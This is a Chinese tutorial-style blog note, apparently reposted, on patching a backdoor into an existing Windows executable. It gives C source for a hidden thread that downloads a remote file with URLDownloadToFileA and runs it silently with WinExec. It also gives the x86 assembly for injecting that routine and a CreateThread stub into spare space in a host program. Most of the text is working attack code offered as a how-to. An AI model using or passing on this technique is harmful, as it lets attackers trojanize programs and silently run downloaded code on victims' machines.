| 关键词: nbsp 1.0040 代码 kernel Test html NULL ASCII 0PUSH PUSH |
前几天S。M问我怎么给1个exe文件插入一个简单的后门 我那2天一直在和同学聚会 玩 一直没时间 因为刚高考完嘛 昨天爬完山今天有精神了 也没事了 简单想想 还是写个笔记吧 方便自己日后翻看 反汇编的后门无非就几步 首先创建1个新的线程 然后导入urlmon.dll 找 API 下载运行就行了 至于运行使用WinExec还是CreateProcess 随便了 因为这些都是windows.h的函数 很少有东西不用吧 呵呵 为了方便逆向分析 我简单写了个正向的小代码 #include <stdio.h>#include <windows.h> DWORD WINAPI BlackDoor(LPVOID sData){Sleep(30*6000);char MyFilePath[]="C:\\1.html"; HMODULE hurlmon;hurlmon=LoadLibrary("urlmon.dll"); void (WINAPI *DOWNFILE) (void*, LPCSTR, LPCSTR, DWORD, void*); (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA"); DOWNFILE(0, "http://www.baidu.com/index.html", MyFilePath,0,NULL); WinExec(MyFilePath,SW_HIDE); return 0;} int WINAPI WinMain(HINSTANCE hInstance, // handle to current instanceHINSTANCE hPrevInstance, // handle to previous instanceLPSTR lpCmdLine, // pointer to command lineint nCmdShow // show state of window){CreateThread(NULL,NULL,BlackDoor,NULL,NULL,NULL);while(1)Sleep(10000);return 0;} 编译后 在IDA下显示如下(有点大才小用,不过看着比较方便) 首先创建一个进程 我们用随意选个程序来做例子程序 随便找处空白地段 我们先来写BlackDoor函数的内容 基本的代码就是这样的PUSH 3E8CALL kernel32.SleepPUSH Test1.0040B916 ; ASCII "urlmon.dll"CALL kernel32.LoadLibraryAPUSH Test1.0040B8F2 ; ASCII "URLDownloadToFileA"PUSH EAXCALL kernel32.GetProcAddressPUSH 0PUSH 0PUSH Test1.0040B8CF ; ASCII "C:\\1.html"PUSH Test1.0040B8A7 ; ASCII "Http://www.baidu.com/index.html"PUSH 0CALL EAX ;动态获取下载函数PUSH Test1.0040B8CF ; ASCII "C:\\1.html"CALL kernel32.WinExecRETN 下面来写CreateThread的代码 和第一图一样 PUSHADPUSH 0PUSH 0PUSH 0PUSH Test1.0040B92FPUSH 0CALL kernel32.CreateThreadPOPADPUSH EBPMOV EBP,ESPJMP 004010A3 因为第一个图后面我做了一个死循环的代码 这里没用 舍弃了 然后保存代码 然后运行程序 如果编写格式正确的话就会在C盘的目录下出现1.html的文件 由于自己只是当笔记来做总结 部分地方直接用OD给的地址 其他系统勿用或自己找寻API地址 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|